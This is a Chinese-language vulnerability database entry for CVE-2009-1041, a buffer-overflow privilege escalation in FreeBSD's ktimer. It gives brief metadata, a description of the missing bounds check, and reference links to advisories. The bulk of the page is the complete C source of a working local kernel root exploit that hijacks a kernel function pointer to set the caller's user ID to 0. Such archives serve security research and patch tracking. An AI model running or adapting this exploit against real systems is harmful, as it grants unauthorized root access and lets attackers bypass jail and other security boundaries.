FreeBSD 'ktimer' 本地权限提升漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117503 漏洞类型 缓冲区溢出
发布时间 2009-03-23 更新时间 2009-06-08
CVE编号 CVE-2009-1041 CNNVD-ID CNNVD-200903-462
漏洞平台 FreeBSD CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/8261
https://www.securityfocus.com/bid/34196
https://cxsecurity.com/issue/WLB-2009030225
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-462
|漏洞详情
FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统。KTimer是FreeBSD中所使用的倒计时定时器,可以在一定时间后运行命令。KTimer对用于指定进程所要操作定时器的整数没有正确地执行边界检查,非特权进程可以覆盖内核内存中任意位置,这可导致更改进程的用户ID(成为root)、摆脱牢笼,或以其他方式绕过安全机制。
|漏洞EXP
/* bsd-ktimer.c
 *
 * Copyright (c) 2008 by <christer@signedness.org>
 *                       <mu-b@digit-labs.org>
 *
 * FreeBSD >= 7.0 local kernel root exploit
 * by christer/mu-b - Mon 2 June 2008
 *
 * - Tested on: FreeBSD 7.0
 *              FreeBSD 7.1
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$!
 */

#define _KERNEL

#include <stdio.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/queue.h>
#include <sys/signalvar.h>
#include <sys/_lock.h>
#include <sys/_mutex.h>
#include <altq/altq.h>
#include <sys/timers.h>

#include <string.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/proc.h>

#define ITPSIZE     0x08000000
#define LOOKUP      0xD0000000

/* some prototypes to prevent compiler bitching */
int ktimer_create(int, int, int *);
int ktimer_delete(int);
int kldsym(int, int, void *);

static void
give_me_root()
{
	struct thread *thread;
	asm("movl %%fs:0,%0": "=r"(thread));
	thread->td_proc->p_ucred->cr_uid=0;
}

int
main (int argc, char **argv)
{
  struct itimer **itp_page, *it_page;
  struct kld_sym_lookup ksym;
  void *zpage[16];
  int i, r;

  printf ("FreeBSD local kernel root exploit\n"
          "by: christer/mu-b\n"
          "http://www.bsdcitizen.org/ -- BSDCITIZEN 2008!@$!\n\n");

  itp_page = mmap (0, ITPSIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON, -1, 0);
  if (itp_page < 0)
    {
      fprintf (stderr, "%s: failed to mmap %d-bytes\n",
                       argv[0], ITPSIZE);
      exit (EXIT_FAILURE);
    }

  printf ("* allocated pointer page: 0x%08X -> 0x%08X [%d-bytes]\n",
          (int) itp_page, (int) itp_page + ITPSIZE, ITPSIZE);

  it_page = mmap (itp_page + ITPSIZE, sizeof (struct itimer),
                  PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON, -1, 0);
  if (it_page < 0)
    {
      fprintf (stderr, "%s: failed to mmap %d-bytes\n",
                       argv[0], sizeof (struct itimer));
      exit (EXIT_FAILURE);
    }

  printf ("* allocated itimer struct: 0x%08X -> 0x%08X [%d-bytes]\n",
          (int) it_page, (int) it_page + sizeof (struct itimer), sizeof (struct itimer));

  printf ("* filling pointer page... ");
  fflush (stdout);

  for (i = 0; i < ITPSIZE / sizeof (struct itimer *); i++)
    itp_page[i] = it_page;
  printf ("done\n");

  ksym.version = sizeof(ksym);
  ksym.symname = "posix_clocks";

  if (kldsym(0,KLDSYM_LOOKUP,&ksym) < 0)
    {
      fprintf (stderr, "%s: failed to lookup posix_clocks\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  printf("* found posix_clocks @ [0x%x]\n",(unsigned )ksym.symvalue);

  for (i = 0; i < 16; i++)
    zpage[i] = (void *) give_me_root;

  memset (it_page,  0, sizeof (struct itimer));
  /* DIRTY REPLACE WITH EXACT STRUCTURE MEMBER */
  for (i = 0; i < 10; i++)
    ((unsigned int *) it_page)[i] = 4;

  it_page->it_flags = 0x00;
  it_page->it_usecount = 0;
  it_page->it_clockid = ((int) &zpage[8] - ksym.symvalue) / 20;

  printf ("* it_page->it_clockid: 0x%08X [access @0x%08X]\n",
           it_page->it_clockid,(unsigned )&zpage[8]);
  printf ("* ktimer_delete (0x%08X)\n", LOOKUP);

  sleep (2);
  ktimer_create (0, 0, &i);
  r = ktimer_delete (LOOKUP);

  printf ("* ktimer_delete: %d %d\n", r, it_page->it_flags);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-03-23]
|受影响的产品
FreeBSD FreeBSD 7.1-STABLE FreeBSD FreeBSD 7.1 -RELEASE-p2 FreeBSD FreeBSD 7.1 -RELEASE-p1 FreeBSD FreeBSD 7.1 -PRE-RELEASE FreeBSD FreeBSD 7.0-STABLE FreeBSD FreeBSD 7.
|参考资料

来源:XF
名称:freebsd-ktimer-memory-overwrite(49362)
链接:http://xforce.iss.net/xforce/xfdb/49362
来源:SECTRACK
名称:1021882
链接:http://www.securitytracker.com/id?1021882
来源:BID
名称:34196
链接:http://www.securityfocus.com/bid/34196
来源:MILW0RM
名称:8261
链接:http://www.milw0rm.com/exploits/8261
来源:FREEBSD
名称:FreeBSD-SA-09:06
链接:http://security.freebsd.org/advisories/FreeBSD-SA-09:06.ktimer.asc